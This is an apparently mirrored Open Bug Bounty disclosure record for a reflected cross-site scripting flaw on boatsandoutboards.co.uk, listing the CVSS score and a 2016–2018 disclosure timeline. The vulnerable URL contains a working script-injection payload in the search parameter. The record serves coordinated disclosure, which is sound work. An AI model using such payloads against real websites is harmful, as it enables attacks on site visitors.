Lucene search

K
openbugbountyNinjaMouseOBB:136075
HistoryFeb 18, 2016 - 10:01 p.m.

boatsandoutboards.co.uk XSS vulnerability

2016-02-1822:01:00
NinjaMouse
www.openbugbounty.org
5
Open Bug Bounty ID: OBB-136075
Description Value
Affected Website: boatsandoutboards.co.uk
Vulnerable Application: Custom Code
Vulnerability Type: XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score: 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Remediation Guide: OWASP XSS Prevention Cheat Sheet
Vulnerable URL:
http://www.boatsandoutboards.co.uk/Motorboats-for-sale?sstr=%22%3E%3Cscript%3Eprompt(/XSSPOSED/)%3C/script%3E
Coordinated Disclosure Timeline
Description Value
Vulnerability Reported: 18 February, 2016 22:01 GMT
Vulnerability Verified: 18 February, 2016 22:04 GMT
Website Operator Notified: 18 February, 2016 22:04 GMT
Vulnerability Published: 18 February, 2016 22:04 GMT[without any technical details]
Vulnerability Fixed: 15 March, 2018 01:57 GMT
Public Disclosure: 15 March, 2018 01:57 GMT